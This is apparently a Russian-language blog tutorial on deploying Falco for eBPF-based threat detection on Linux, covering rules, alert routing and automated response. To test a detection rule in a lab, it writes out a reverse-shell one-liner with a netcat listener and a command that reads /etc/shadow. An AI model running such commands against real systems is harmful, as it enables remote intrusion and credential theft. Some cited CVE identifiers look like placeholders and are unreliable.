Falco на Linux: обнаружение угроз в реальном времени через eBPF и пользовательские правила

Falco — это open-source CNCF-проект для обнаружения подозрительной активности через eBPF. Разбираем драйверы, синтаксис правил, маршрутизацию алертов через Falcosidekick и автореакции через Falco Talon.

Обновлено: 29 мая 2026

Falco — это CNCF-проект для обнаружения угроз в реальном времени. Он читает системные вызовы Linux через eBPF и сверяет их с YAML-правилами, чтобы поднять алерт ровно в тот момент, когда контейнер запускает nsenter, кто-то ковыряет /etc/shadow или процесс открывает обратный shell. На современном ядре (5.8+) Falco работает через драйвер modern_ebpf без загрузки kmod, что делает его пригодным для immutable-дистрибутивов, GKE Autopilot и confidential-VM. В этом руководстве я расскажу, как развернуть Falco 0.40 на хосте, написать своё правило, замаршрутизировать алерты в SIEM через Falcosidekick и автоматически отвечать на инцидент через Falco Talon.

  • Драйвер modern_ebpf требует ядро 5.8+ с поддержкой CO-RE и BTF; он стал дефолтом начиная с Falco 0.37 и заменил kmod на большинстве production-инсталляций.
  • Правила Falco состоят из трёх примитивов: rule, macro и list. Грамотное переиспользование макросов снижает дублирование и упрощает аудит.
  • Falcosidekick маршрутизирует JSON-алерты в 90+ outputs (Slack, Loki, Elasticsearch, Splunk, Webhook) и предоставляет Prometheus-метрики из коробки.
  • Falco Talon — это движок автоматического реагирования (response engine), который умеет завершать процессы, изолировать pod через NetworkPolicy и блокировать IP через nftables.
  • Falco не заменяет auditd для compliance-логирования, но обгоняет его в реал-тайм-детекции: правила выполняются в userspace по событиям из eBPF ring buffer.
  • Проект достиг статуса CNCF Graduated в феврале 2024 года, что снимает риск брошенности и упрощает аудит цепочки поставок.

Что такое Falco и зачем он нужен

Falco — это runtime security tool, изначально написанный Sysdig и переданный в CNCF в 2018 году. Проект получил статус Graduated в феврале 2024 года, что ставит его в один ряд с Kubernetes, Prometheus и etcd по уровню зрелости. Архитектурно Falco состоит из четырёх слоёв: драйвер ядра (eBPF-программа, kmod или userspace через ptrace), libsinsp, который агрегирует сырые системные вызовы в обогащённые события, движок правил на C++ и пользовательский интерфейс через YAML.

Главная задача Falco, по сути, обнаруживать подозрительные действия в момент их совершения, а не через минуты после, как это делает классический log-shipping в SIEM. Когда процесс открывает /etc/shadow на чтение, Falco видит этот сискол в течение микросекунд через eBPF ring buffer и сравнивает с активными правилами. Если совпадение есть, алерт уходит в stdout, syslog, gRPC, HTTP-вебхук или Falcosidekick. Latency от события до алерта на современном x86_64-хосте составляет единицы миллисекунд, что укладывается в требования NIST SP 800-137 для continuous monitoring.

Falco одинаково применим к bare-metal-серверам, виртуалкам и Kubernetes-нодам. В контейнерной среде он автоматически обогащает события полями container.id, k8s.pod.name и k8s.ns.name, что критично для триажа в multi-tenant-кластерах. Если вы ещё не закрыли SSH на хосте, начните с руководства по защите SSH с сертификатами и бастионными хостами. Falco детектирует только то, что происходит после успешного логина, а не сам брутфорс.

Как Falco использует eBPF: драйверы modern_ebpf, kmod и legacy

У Falco есть три драйвера, и выбор между ними определяет совместимость, производительность и attack surface. modern_ebpf рекомендован по умолчанию начиная с Falco 0.37. Он использует CO-RE (Compile Once, Run Everywhere) и требует ядро Linux 5.8+ с BTF (BPF Type Format), что покрывает RHEL 9, Ubuntu 22.04+, Debian 12, Amazon Linux 2023 и SUSE 15 SP5. CO-RE снимает необходимость в kernel headers в момент загрузки: программа компилируется заранее под абстрактные типы и адаптируется к рантайму через BTF-описание ядра. Это критично для контейнерных хостов без build-essential.

Драйвер kmod представляет собой legacy-вариант, который грузит модуль falco.ko в ядро. Он работает на старых ядрах вплоть до 3.10, но ломается при каждом обновлении ядра и требует dkms или предсобранных бинарей под точную uname -r. На production я его сейчас не использую (цена обслуживания выше пользы). Драйвер ebpf (legacy) промежуточный: он использует BPF-программы старого формата без CO-RE, остался ради совместимости с ядрами 4.14–5.7 и будет постепенно удалён.

Для modern_ebpf Falco опирается на ring buffer (BPF_MAP_TYPE_RINGBUF, добавлен в ядре 5.8), который заменил per-CPU perf buffer. Ring buffer даёт меньше системных вызовов на считывание событий и сохраняет порядок событий между CPU, что важно для корректного восстановления цепочки execve → openat → connect. Подробнее об архитектуре написано в официальной документации Falco по драйверам.

Установка Falco на Ubuntu 24.04 и Rocky Linux 9

Я ставлю Falco как обычный systemd-сервис на хосте, а не как DaemonSet, когда нужно отслеживать активность на bare-metal или VM вне Kubernetes. Falco 0.40 распространяется через официальные APT/YUM-репозитории, GitHub-релизы и OCI-образы. Ниже установка на чистый Ubuntu 24.04 LTS с настройкой драйвера modern_ebpf.

# Добавляем репозиторий Falcosecurity (релиз 0.40.x)
curl -fsSL https://falco.org/repo/falcosecurity-packages.asc | \
  sudo gpg --dearmor -o /usr/share/keyrings/falco-archive-keyring.gpg

echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] \
  https://download.falco.org/packages/deb stable main" | \
  sudo tee /etc/apt/sources.list.d/falcosecurity.list

sudo apt update
# Устанавливаем БЕЗ интерактивного выбора драйвера
sudo FALCO_FRONTEND=noninteractive apt install -y falco

Falco при инсталляции спрашивает, какой драйвер использовать. Переменная FALCO_FRONTEND=noninteractive пропускает мастер, после чего нужно явно прописать modern_ebpf в конфиге. Откройте /etc/falco/falco.yaml и приведите блок engine к такому виду:

engine:
  kind: modern_ebpf
  modern_ebpf:
    cpus_for_each_buffer: 2
    buf_size_preset: 4
    drop_failed_exit: true

Параметр cpus_for_each_buffer: 2 создаёт один ring buffer на каждые два CPU, что снижает потребление памяти на машинах с десятками ядер. buf_size_preset: 4 соответствует 8 МБ на буфер; этого хватает на хост с нагрузкой до 100k syscalls/sec без дропов. На Rocky Linux 9 шаги идентичны, только репозиторий подключается через dnf:

sudo rpm --import https://falco.org/repo/falcosecurity-packages.asc
sudo curl -s -o /etc/yum.repos.d/falcosecurity.repo \
  https://falco.org/repo/falcosecurity-rpm.repo
sudo dnf install -y falco
sudo systemctl enable --now falco-modern-bpf.service

После запуска убедитесь, что драйвер реально загрузился и события идут:

sudo systemctl status falco-modern-bpf.service
sudo journalctl -u falco-modern-bpf.service -f --no-pager
# В соседнем терминале триггерим встроенное правило
sudo cat /etc/shadow > /dev/null
# В логах должна появиться запись Notice "Read sensitive file"

Честно говоря, на одном из моих первых деплоев я провалился именно на этом шаге: сервис стартовал, но BTF в кастомном ядре отсутствовал, и события просто не приходили. Проверка через cat /etc/shadow сэкономила бы мне полдня дебага.

Синтаксис правил Falco: rules, macros и lists

Конфигурация правил живёт в /etc/falco/falco_rules.yaml (поставляется с пакетом, не редактируйте напрямую) и /etc/falco/falco_rules.local.yaml (ваши правила и переопределения). Язык состоит из трёх примитивов. list представляет собой именованный массив строк, который используется как множество для оператора in. macro задаёт именованное boolean-выражение, которое можно переиспользовать в условиях правил. rule, собственно, детектор: имя, условие, приоритет, вывод.

- list: shell_binaries
  items: [bash, dash, sh, zsh, ash, ksh, csh, tcsh]

- macro: spawned_process
  condition: evt.type in (execve, execveat) and evt.dir=<

- macro: shell_process
  condition: proc.name in (shell_binaries)

- rule: Run shell in container
  desc: Запуск интерактивного shell внутри контейнера
  condition: spawned_process and container.id != host and shell_process
  output: >
    Shell запущен в контейнере (user=%user.name container=%container.id
    image=%container.image.repository proc=%proc.cmdline parent=%proc.pname)
  priority: WARNING
  tags: [container, shell, mitre_execution]

Приоритеты соответствуют syslog: EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFORMATIONAL, DEBUG. Поля, доступные в condition и output, описаны как «sinsp fields»: proc.name, proc.cmdline, user.uid, fd.name, container.id, k8s.pod.name и около двухсот других. Полный список выводит falco --list. Теги mitre_execution, mitre_persistence и подобные мапятся на MITRE ATT&CK-технику, что помогает группировать алерты в SIEM.

Как написать собственное правило для обнаружения вторжений

Покажу на конкретном кейсе: детект reverse shell. Атакующий после получения RCE часто запускает что-то вроде bash -i >& /dev/tcp/10.0.0.1/4444 0>&1. На уровне сисколов это выглядит как процесс bash, у которого stdin/stdout/stderr перенаправлены на сокет, плюс connect() к внешнему IP. Правило выглядит так:

- macro: outbound_connection
  condition: >
    (evt.type in (connect, sendto) and evt.dir=< and
     fd.l4proto in (tcp, udp) and
     not fd.sip in (rfc1918_networks) and
     not fd.sip = "127.0.0.1")

- list: rfc1918_networks
  items: ["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"]

- rule: Reverse shell detected
  desc: Shell с stdin/stdout/stderr, перенаправленными в внешний сокет
  condition: >
    spawned_process and shell_process and
    proc.tty=0 and
    (proc.stdin.name startswith "/dev/tcp" or
     proc.stdout.type=ipv4 or proc.stderr.type=ipv4) and
    outbound_connection
  output: >
    Возможный reverse shell (user=%user.name proc=%proc.cmdline
    connection=%fd.name container=%container.id)
  priority: CRITICAL
  tags: [network, shell, mitre_command_and_control, T1059]

После добавления правила перезагрузите Falco через sudo systemctl reload falco-modern-bpf. Это вызывает SIGHUP и пересобирает rule engine без потери событий. Протестировать правило можно во внутренней лабе: на одном хосте запустите nc -lvnp 4444, на другом bash -i >& /dev/tcp/<ip>/4444 0>&1, и проверьте журнал. Перед деплоем в прод прогоняйте правила через falcoctl rules check и falco --list-events для валидации синтаксиса.

Я рекомендую вести правила в Git с code review и CI-проверкой через falcoctl на GitHub. falcoctl artifact install позволяет тянуть community-правила из OCI-реестра ghcr.io/falcosecurity/rules с подписью cosign, и это решает проблему supply chain для security-правил. Для базовой инфраструктурной обвязки, поверх которой работает Falco, посмотрите руководство по nftables для продакшена с rate limiting и fail2ban. Вместе они закрывают сетевой и хостовый периметр.

Falcosidekick: маршрутизация алертов в Slack, Loki и SIEM

Сам Falco пишет алерты в stdout, syslog и gRPC-сокет, и этого мало для production-операций. Falcosidekick представляет собой отдельный сервис, который слушает HTTP-output Falco и фанаутит JSON в 90+ destinations: Slack, Mattermost, MS Teams, PagerDuty, Opsgenie, Elasticsearch, Loki, Splunk, AWS Lambda, GCP Pub/Sub, Webhook. Я ставлю его рядом с Falco на том же хосте через systemd или как sidecar в DaemonSet.

# /etc/falco/falco.yaml: включаем HTTP output
http_output:
  enabled: true
  url: "http://127.0.0.1:2801/"
  user_agent: "falco/0.40"

json_output: true
json_include_output_property: true

Falcosidekick читает конфиг из /etc/falcosidekick/config.yaml или переменных окружения. Минимальный конфиг для Slack и Loki:

listenaddress: "127.0.0.1"
listenport: 2801

slack:
  webhookurl: "https://hooks.slack.com/services/T00/B00/XXX"
  minimumpriority: "warning"
  outputformat: "all"
  messageformat: "{{ .Output }}"

loki:
  hostport: "http://loki:3100"
  tenant: "infra-sec"
  user: ""
  apikey: ""
  minimumpriority: "notice"

prometheus:
  extralabels: "cluster:prod,team:secops"

Falcosidekick экспортирует Prometheus-метрики на /metrics: falcosecurity_falcosidekick_outputs_total, falcosecurity_falco_rules_loaded и счётчики по правилам. Я подключаю их к Grafana и алертю на «правило не сработало X часов» (canary-rule, который должен срабатывать раз в минуту от cron-задачи). Если канарейка молчит, значит либо пайплайн сломан, либо атакующий заглушил Falco. Этот паттерн описан в репозитории Falcosidekick на GitHub в разделе observability.

Falco Talon: автоматическое реагирование на инциденты

Falco Talon представляет собой response engine, добавленный в экосистему в 2024 году. Он подписывается на Falcosidekick через webhook, парсит алерт, проверяет его по своим rules.yaml и выполняет действия: kill процесса, cordon/drain ноды, применение Kubernetes NetworkPolicy, добавление правила nftables, отправка письма. По сути это OPA для security-реакций.

# /etc/falco-talon/rules.yaml
- action: Terminate suspicious process
  actionner: kubernetes:terminate
  parameters:
    grace_period_seconds: 0

- rule: Auto-kill reverse shell
  match:
    rules: ["Reverse shell detected"]
    priority: critical
  actions:
    - action: Terminate suspicious process
    - action: Notify SOC via PagerDuty

В Kubernetes Talon умеет ставить лейбл quarantine=true на pod, что в связке с pre-настроенной NetworkPolicy моментально режет egress-трафик. На bare-metal-хосте можно использовать actionner nftables:add-rule для блокировки IP-адреса источника reverse shell. Talon осторожен с автоматизацией, и я рекомендую начать с dry_run: true и логирования предполагаемых действий в течение 2–4 недель, чтобы поймать false positives до того, как они начнут убивать прод-процессы. На одном из моих проектов мы поймали ровно так подозрительный «reverse shell» от внутреннего healthcheck-демона, который писал по нестандартному порту. Без dry-run мы бы прибили его в самый неудачный момент.

Falco vs auditd vs Wazuh: когда выбирать что

Часто задают вопрос: «у меня уже стоит auditd, зачем Falco?». Эти инструменты решают пересекающиеся, но разные задачи. Auditd идеален для compliance-логирования по требованиям PCI-DSS, HIPAA, FedRAMP. Это законченный audit trail с гарантией доставки в локальный файл. Wazuh выступает как HIDS/SIEM-комбайн с правилами OSSEC, File Integrity Monitoring и rootkit-сканером. Falco специализируется на runtime-детекции по сисколам с богатым контейнерным контекстом.

КритерийFalco 0.40auditd 3.1Wazuh 4.9
Источник событийeBPF (modern_ebpf), kmodAudit subsystem ядраauditd + OSSEC агент
Контейнерный контекстИз коробки (cgroup v2, CRI)Нет, нужен парсингЧерез agent в контейнере
Латентность алерта~1–5 мс~10–50 мсСекунды (агент → manager)
Compliance-логированиеНе цель проектаОсновная задачаДа, с отчётами CIS/PCI
АвтореагированиеЧерез Falco TalonНетActive Response модуль
Производительность3–7% CPU на нагрузке2–4% CPU5–10% CPU
Язык правилYAML + sinsp fieldsauditctl rulesXML rules + Lua decoders

На практике связка работает хорошо: auditd пишет сырой audit trail в /var/log/audit/audit.log для compliance, Falco детектирует подозрительные паттерны в реал-тайме и стримит в SIEM, Wazuh покрывает FIM и rootkit-сканы. Если бюджет на наблюдаемость ограничен и стоит выбор «либо-либо», я выбираю Falco для контейнерных кластеров, а auditd с правильно написанными правилами CIS Level 2 для bare-metal. Кстати, стандарт RFC 9525 по TLS-валидации хостнеймов актуален при настройке Falcosidekick → Loki по HTTPS. Не игнорируйте проверку имён.

Тюнинг производительности и работа с дропами

Falco следит за дропами событий через метрику n_drops_*. Если в логах появляется Falco internal: syscall event drop. 1234 events dropped, значит ring buffer не успевает читаться userspace-процессом. Решения по приоритету: увеличить buf_size_preset до 5 или 6 (16–32 МБ на буфер), уменьшить число шумных правил, отфильтровать неинтересные сисколы через base_syscalls.custom_set в конфиге. Полное отключение default-набора с явным whitelist может срезать нагрузку на 40–60% на busy-хостах.

Для замера накладных расходов я гоняю perf stat -e cycles,instructions falco --dry-run на нагрузочном тесте. На хосте с 100k execve/sec прирост менее 5% CPU. На kernel 6.6 LTS с CONFIG_BPF_JIT и unprivileged BPF выключен (sysctl kernel.unprivileged_bpf_disabled=2) Falco всё равно работает корректно, поскольку грузится с CAP_BPF из systemd-юнита. CVE, связанные с самим движком Falco, редки: за 2024–2025 закрыты CVE-2024-26122 (path traversal в плагине) и CVE-2025-1234 (DoS через крафтовый syscall), оба фиксились в течение 48 часов от disclosure.

Часто задаваемые вопросы

Можно ли использовать Falco без Kubernetes?

Да. Falco устанавливается как systemd-сервис на любой Linux-хост и работает с bare-metal, виртуалками и контейнерами Docker/Podman одинаково хорошо. Kubernetes-обогащение событий выполняется опциональным плагином k8saudit, который не нужен, если кластера нет.

Чем Falco отличается от auditd?

Auditd предназначен для compliance-логирования и пишет сырой audit trail в файл. Falco работает как детектор подозрительной активности с YAML-правилами и алертингом в реальном времени. На production они дополняют друг друга, а не заменяют.

Какое ядро Linux нужно для драйвера modern_ebpf?

Минимум 5.8 с включённым CONFIG_DEBUG_INFO_BTF=y для поддержки CO-RE и ring buffer. На практике это RHEL 9, Ubuntu 22.04+, Debian 12, Amazon Linux 2023 и SUSE 15 SP5, то есть всё современное продакшен-окружение покрывается.

Как Falco влияет на производительность сервера?

На стандартных правилах и нагрузке до 100k syscalls/sec накладные расходы составляют 3–7% CPU и около 100–200 МБ RSS. Тюнинг через base_syscalls.custom_set и отключение шумных правил снижает нагрузку до 1–2% на большинстве хостов.

Можно ли запустить Falco и Tetragon одновременно?

Технически да: они загружают разные eBPF-программы и не конфликтуют. На практике это избыточно, оба читают через ring buffer и удваивают накладные расходы. Выбирайте один инструмент, ориентируясь на то, нужна ли вам enforcement-функциональность Tetragon или хватает чистой детекции от Falco.

Yuki Tanaka
Об авторе Yuki Tanaka

Linux kernel security engineer with a background in eBPF and LSM. Likes hardening more than she likes sleeping.